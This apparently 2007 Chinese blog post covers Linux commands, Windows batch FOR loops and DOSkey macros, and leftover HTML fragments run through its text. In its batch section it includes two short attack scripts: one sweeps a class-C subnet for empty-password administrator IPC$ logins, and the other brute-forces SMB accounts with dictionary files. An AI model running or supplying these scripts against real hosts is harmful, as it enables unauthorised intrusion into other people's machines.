攻防技术基础之DOS">
DOS命令最齐全/
DOS">
DOSkey调用和
建立DOS">
DOS宏命令[二]
2007年04月27日 星期五 上午 09:47
Linux系统下基本命令: 要区分大小写
uname 显示版本信息(同win2K的 ver)
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录,目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 攻防技术通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp ftp连接上某服务器(同win2K)
附:批处理命令与变量
1:for命令及变量 基本格式:
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use $">\\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3
(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1}
command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
command_parameters:为特定命令指定参数或命令行开关
IN (set):指在(set)中取值;DO command :指执行command
参数:/L 指用增量形式{(set)为增量形式时};/F 指从文件中不断取值,直到取完为止{(set)为文件时,如(d:\pass.txt)时}。
用法举例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。
/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。
参考资料:http://hackbase.com/
DOS">DOSkey调用和建立DOS">DOS宏命令
[适用场合] 经常需要输入重复的命令时,有非常大的用处
[用 法] DOS">DOSkey
将DOS">DOSkey驻留内存,开辟出缓冲区,以后输入的命令都将保存在缓冲
区中,可以随时调用
DOS">DOSkey [宏命令名]=[命令名]
将宏命令定义为命令,以后输入宏命令,电脑就会执行相应的命令
DOS">DOSkey /reinstall 重新安装DOS">DOSkey
DOS">DOSkey /bufsize= 设置缓冲区的大小
DOS">DOSkey /macros 显示所有DOS">DOSkey宏
DOS">DOSkey /history 显示内存中所有命令
DOS">DOSkey /insert|overstrike 设置新键入的字符是否覆盖旧的字符
[例 子] C:\>DOS">DOSKEY
C:\>dir
C:\>copy C:\temp\*.* a:
C:\>del c:\temp\*.*
C:\>copy b:\*.* c:\temp
上述四条命令都已被保存,用光标控制键的上下可以依次选择使用或
修改, 也可以用F7键列出保存的所有命令
C:\>DOS">DOSkey di=dir/w/p 定义di为宏命令,意思是执行dir/w/p
巧用 DOS">DOSKey
DOS">DOSKey是Ms-DOS">DOS下的一个常用内存驻留程序,它的主要功能是:将键入的命
令记录在内存的缓冲区内并将命令序列变为宏。
DOS">DOSKey通常被加入在批处理程序AUTOEXEC.BAT当中,即在AUTOEXEC.BAT的命
令行中加入:DOS">DOSKey或LH DOS">DOSKey。也可在Ms-DOS">DOS下键入:DOS">DOSKey或LH DOS">DOSKey直
接启动。在安装DOS">DOSKey后就可以方便、快捷的查找、使用,修改先前所键入的命
令。下面简单的介绍几种DOS">DOSKey的使用方法:
一. 查找、显示,编辑一个DOS">DOS命令:
对于刚刚键入的命令可用↑或PageUP和↓或PageDown键去查找;对于以前键入的
命令可用F7键显示命令列表,然后用F9键输入命令所在列表中的序号既可。在查
找的同时DOS">DOSKey允许对当前的命令行用←和→键移动光标进行编辑修改。在编辑
过程中还可通过Insert键切换字符的插入或改写方式。
二. 同时输入多个命令:
利用DOS">DOSKey可在同一命令行中键入多个命令,各命令间用"Ctrl + T" 进行分隔。
命令格式是:
DOS">DOSKey command1 "Ctrl + T" command2 "Ctrl + T" command3
如在DOS">DOS的提示符下键入:
C:\>cd mydocu~1 "Ctrl + T" dir *.doc/w "Ctrl + T" dir *.xls
当按回车键后,便会依次显示并执行所键入的三条命令。
三. 建立批处理文件:
大家都知道批处理文件可由copy con:,Edit等方法建立,现
在再告诉大家对于一些不长的批处理文件也完全可以由DOS">DOSKey建立。该方法是利
用DOS">DOSKey的/history命令把列表里的记录输入到一个BAT文件中。
首先,按"Alt + F7" 清空内存中记录的缓冲区;然后键入所需批处理的内容。如
在DOS">DOS的提示符下键入:
C:\>CLS
C:\>CD \WINDOWS\TEMP
C:\WINDOWS\TEMP>SUBST B: .
C:\WINDOWS\TEMP>CD..
C:\WINDOWS>DOS">DOSKey /history > setb.bat
这样就可把上述的命令保存在setb.bat中了,最后用文本文件编辑器(如:EDIT)
将最后一行的"DOS">DOSKey /history >setb.bat" 删去即可。以后只要运行setb.bat
就可以建立虚拟B盘了。
四. 用DOS">DOSKey创建宏:
用DOS">DOSKey可以把一些常用的DOS">DOS命令组创建成一个宏。
命令格式是:
DOS">DOSKey name(宏名)=command1 $t command2 $t etc.,(命令组)
命令组中各个命令用$t隔开。如键入:
C:\>DOS">DOSKey aut=dir *.exe/p $t dir *.com/p $t dir *.bat/p
按回车键。以后只需键入aut即可显示当前目录的所有的可执行文件。
宏还可以象批处理文件一样使用可替换参数,参数为$n其中n=1~9。如:C:\>DOS">DOS
key hmy=md $1$t cd $1
该宏代替md和cd两个DOS">DOS命令,只需用hmy Content(目录名)即可建立一个目录并
同时进入该目录。
由于宏是存于内存中,所以关机后会丢失,不过你可以把这些常用的宏加入
到AUTOEXEC.BAT的命令行当中,这样以后使用起来会非常的方便。
DOS">DOSKey还有许多选项及命令编辑键,如需要详细了解可键入DOS">DOSKey/help或
DOS">DOSKey/?查询。
编辑命令行,重调用 Windows 命令,并创建宏。
DOS">DOSKEY [/REINSTALL] [/LISTSIZE=size] [/MACROS[:ALL | :exename]]
[/HISTORY] [/INSERT | /OVERSTRIKE] [/EXENAME=exename] [/MACROFILE=filename]
[macroname=[text]]
/REINSTALL 安装一组新的 DOS">DOSkey。
/LISTSIZE=size 设置命令历史记录的缓冲区大小。
/MACROS 显示所有 DOS">DOSkey 宏。
/MACROS:ALL 为具有 DOS">DOSkey 宏的执行文件,显示所有的 DOS">DOSkey 宏。
/MACROS:exename 显示指定执行文件的所有 DOS">DOSkey 宏。
/HISTORY 显示保存在内存中的所有命令。
/INSERT 指定用键入的新文字插入旧文字中。
/OVERSTRIKE 指定新文字覆盖旧文字。
/EXENAME=exename 指定执行文件。
/MACROFILE=filename 指定安装的宏文件。
macroname 指定所创建宏的名称。
text 指定要登记的命令。
使用上下箭头键选择命令;ESC 清除命令行;F7 显示命令历史记录; ALT+F7 清除
命令历史记录;F8 搜索命令历史记录; F9 按编号选择命令; ALT+F10 清除宏定义。
以下是 DOS">DOSkey 宏定义的特殊码:
$T 命令分隔符号。允许一个宏可以含多个命令。
$1-$9 批处理参数。与批处理程序中的 %1-%9 相同。
$* 以命令行中命令名称后面的任何内容替换的符号。
微软的DOS">DOSkey说明
调用 DOS">DOSkey.exe,它可以撤回以前输入的命令行命令、编辑命令行并创建宏。
语法
DOS">DOSkey [/reinstall] [/listsize=Size] [/macros:[{all | ExeName}] [/history] [{/insert | /overstrike}] [/exename=ExeName] [/macrofile=FileName] [MacroName=[Text]]
参数
/reinstall
安装 DOS">DOSkey.exe 的新副本。清除命令历史缓冲区。
/listsize=Size
指定历史缓冲区中的最多命令数。
/macros
显示所有 DOS">DOSkey 宏的列表。可以使用带有 /macros 的重定向符 (>) 将列表重定向到文件。可以将 /macros 缩写为 /m。
all
显示所有可执行程序的 DOS">DOSkey 宏。
ExeName
显示指定的可执行程序的 DOS">DOSkey 宏。
/history
显示存储在内存中的所有命令。可以使用带有 /history 的重定向符 (>) 将列表重定向到文件。可以将 /history 缩写为 /h。
{/insert | /overstrike}
指定键入的新文本是否要替换旧文本。如果使用 /insert,在行上键入的新文本将插入到旧文本中(就像您已经按下 Insert 键一样)。如果使用 /overstrike,新文本替代旧文本。默认设置为 /overstrike。
/exename=ExeName
指定运行 DOS">DOSkey 宏的程序(即,可执行程序)。
/macrofile=FileName
指定包含要安装宏的文件。
MacroName=[Text]
创建执行由 Text 指定的命令的宏。Macroname 指定要指派给宏的名称。Text 指定要记录的命令。如果 Text 保留为空,MacroNam 将清除所有指派的命令。
/?
在命令提示符下显示帮助。
注释
使用 DOS">DOSkey.exe
DOS">DOSkey.exe 对所有基于字符的、交互式程序(例如程序调试程序或文件传送程序)总是可用的,并为每个启动的程序维护命令历史缓冲区和宏。不能从某个程序中直接使用 DOS">DOSkey 命令行。启动程序之前必须运行 DOS">DOSkey 命令行选项。程序按键分配忽略 DOS">DOSkey 按键分配。
撤回命令
要撤回命令,可以在启动 DOS">DOSkey.exe 之后使用如下任意键。如果在一个程序中使用 DOS">DOSkey.exe,则该程序按键优先分配。
按键 描述
向上键 撤回在显示之前使用的命令。
向下键 撤回在显示之后使用的命令。
Page Up 撤回当前会话中使用最早的命令。
Page Down 撤回最近使用的命令。
编辑命令行
通过 DOS">DOSkey.exe,可以编辑当前命令行。如果在程序中使用 DOS">DOSkey.exe,则该程序的键值优先,并且有些 DOS">DOSkey.exe 的编辑按键可能不能正常工作。
下表列出 DOS">DOSkey 编辑按键及其功能。
按键或按键组合 描述
向左键 将插入点向左移动一个字符。
向右键 将插入点向右移动一个字符。
Ctrl+向左键 将插入点向左移动一个字。
Ctrl+向右键 将插入点向右移动一个字。
Home 将插入点移动到行首。
End 将插入点移动到行尾。
Esc 清除显示的命令。
F1 将模板中相同栏目的字符复制到命令提示符窗口中的相同栏目中。(模板是指保存上一次键入命令的内存缓冲区。)
F2 按下 F2 后在模板中向前搜索键入的下一个按键。DOS">DOSkey.exe 从模板插入文本直到(但不包含)指定的字符。
F3 将模板的剩余部分复制到命令行。DOS">DOSkey.exe 从模板上与命令行上插入点所表明的位置相对应的位置开始复制字符。
F4 删除从当前插入点位置到指定字符的所有字符。要使用该编辑按键,请按 F4 并键入字符。DOS">DOSkey.exe 删除从当前插入点位置到指定的第一个字母间的字符。
F5 将模板复制到当前命令行。
F6 在当前插入点位置放置文件结束符 (Ctrl+Z)。
F7 在对话框中显示存储在内存中此程序的所有命令。使用向上键和向下键选择需要的命令,然后按 Enter 运行命令。也可以在命令前标注序列号,并将该号码与 F9 键一起使用。
Alt+F7 删除保存在历史记录缓冲区内存中的所有命令。
F8 显示用当前命令中字符开始的历史缓冲区中的所有命令。
F9 提示您输入历史缓冲命令号,然后显示与您指定的号码相关联的命令。按 Enter 运行命令。要显示所有号码及相关的命令,请按 F7。
Alt+F10 删除所有宏定义。
在程序中使用 DOS">DOSkey
某些基于字符的交互式程序,例如,程序调试程序或文件传输程序 (FTP),会自动使用 DOS">DOSkey.exe。要使用 DOS">DOSkey.exe,程序必须是控制台进程并使用缓冲输入。程序按键分配忽略 DOS">DOSkey 按键分配。例如,如果该程序使用 F7 键执行某项功能,您就无法在弹出式窗口中获得 DOS">DOSkey 命令历史。
通过 DOS">DOSkey.exe,可以维护所启动的每个程序的命令历史,在程序的提示符窗口中重复和编辑以前的命令,以及启动为该程序创建的 DOS">DOSkey 宏。如果退出并从同一命令提示符窗口重新启动程序,那么以前程序会话中的命令历史是可用的。
启动程序之前必须运行 DOS">DOSkey.exe。即使程序有 shell 命令,也不能从程序命令提示符使用 DOS">DOSkey 命令。
如果要自定义 DOS">DOSkey.exe 如何配合程序工作,并为该程序创建 DOS">DOSkey 宏,可以创建修改 DOS">DOSkey.exe 并启动程序的批处理程序。
指定默认插入模式
按 Insert 键,就可以在旧文本中间的 DOS">DOSkey 命令行上键入文本而不替换旧文本。但是,在按下 Enter 后,DOS">DOSkey.exe 将键盘返回到替换模式。必须再次按 Insert 返回到插入模式。
每次按下 Enter 时,使用 /insert 将键盘切换至插入模式。在使用 /overstrike 之前,键盘将有效地保留在插入模式。按 Insert 键可以临时返回到替换模式;但是在按 Enter 后,DOS">DOSkey.exe 将使键盘返回到插入模式。
当使用 Insert 键从一种模式改到另一种模式时插入点更改形状。
创建宏
可以使用 DOS">DOSkey.exe 创建执行一个或多个命令的宏。下表列出定义宏时可用来控制命令操作的特殊字符。
字符 描述
$G 或 $g 重定向输出。使用任意特殊字符将输出发送到设备或文件而不是发送到屏幕。该字符与输出的重定向符号 (<) 等价。
$G$G 或 $g$g 将输出附加到文件结尾。使用特殊双字符将输出附加到现有文件而不是替换文件中的日期。这些双重字符与输出的附加重定向符号 (>>) 等价。
$L 或 $l 重定向输入。使用任意特殊字符从设备或文件而不是从键盘读取输入。该字符与输入的重定向符号 (<) 等价。
$B 或 $b 将宏输出发送给命令。这些特殊字符与使用命令行上的管道字符 (|) 等价。
$T 或 $t 分隔命令。创建宏或在 DOS">DOSkey 命令行上键入命令时使用任一特殊字符分隔命令。这些特殊字符与使用命令行上的 &(即“与”)等价。
$$ 指定美元符号字符 ($)。
$1 到 $9 代表运行宏时要指定的任何命令行信息。特殊字符 $1 到 $9 是批处理参数,它可能使您每次运行宏时在命令行上使用不同的数据。DOS">DOSkey 命令中的 $1 字符类似于批处理程序中的 %1 字符。
$* 代表键入宏名称时要指定的所有命令行信息。特殊字符 $* 是可替换参数,这与批处理参数 “到 $9 相似,但有一个重要的差异。此处,在宏名后命令行上键入的所有内容替换宏中的 $*。
运行 DOS">DOSkey 宏
要运行宏,请在命令行的开始位置键入宏名。如果使用 $* 或任何批处理参数 $1 到 $9 定义了宏,请使用空格来分隔参数。不能从批处理程序运行 DOS">DOSkey 宏。
创建与 Windows Server 2003 家族命令同名的宏
如果总是通过特定命令行选项使用某个命令,则可以创建具有与该命令相同名称的宏。要指定是否要运行宏或该命令,请遵循以下指导原则:
要运行宏,在命令提示符后立即键入宏名称,在提示符和命令名之间没有空格。
要运行命令,请在命令提示符和命令名间插入一个或多个空格。
删除宏
要删除宏,请键入:
DOS">DOSkey MacroName=
示例
/macros 和 /history 命令行选项对于创建保存宏和命令的批处理程序非常有用。例如,要存储所有当前的 DOS">DOSkey 宏,请键入:
DOS">DOSkey /macros > macinit
要使用存储在 Macinit 中的宏,请键入:
DOS">DOSkey /macrofile=macinit
要创建包含最近使用命令的批处理程序 Tmp.bat,请键入:
DOS">DOSkey /history > tmp.bat
用多个命令定义宏,请使用 $t 分隔命令,如下所示:
DOS">DOSkey tx=cd temp$tdir/w $*
在上例中,TX 宏将当前目录更改为 Temp,然后使用宽显示格式显示目录列表。在宏的结尾使用 $*,可以在运行 TX 时将其他命令行选项附加到 dir 上。
下列宏使用新目录名的批处理参数:
DOS">DOSkey mc=md $1$tcd $1
宏首先创建新的目录然后从当前目录对其进行更改。
要使用以前的宏以创建和更改到名为 Books 的目录,请键入:
mc books
要为名为 Ftp.exe 的程序创建 DOS">DOSkey 宏,请如下面所示将 /exename 包括在内:
DOS">DOSkey /exename=ftp.exe go=open 172.27.1.100$tmget *.TXT c:\reports$tbye
要使用以前的宏,请启动 ftp。在 ftp 提示符下,键入:
go
Ftp 将执行 open、mget 及 bye 命令。
要创建执行快速而无条件的磁盘格式的宏,请键入:
DOS">DOSkey qf=format $1 /q /u
要快速而无条件地格式化驱动器 A 中的磁盘,请键入:
qf a:
省略号 (...) 在命令行中可多次重复的参数
中括号 ([]) 可选项
大括号 ({});选项用竖线 (|) 分隔。例如:{even|odd} 用户必须从选项集合中选择一个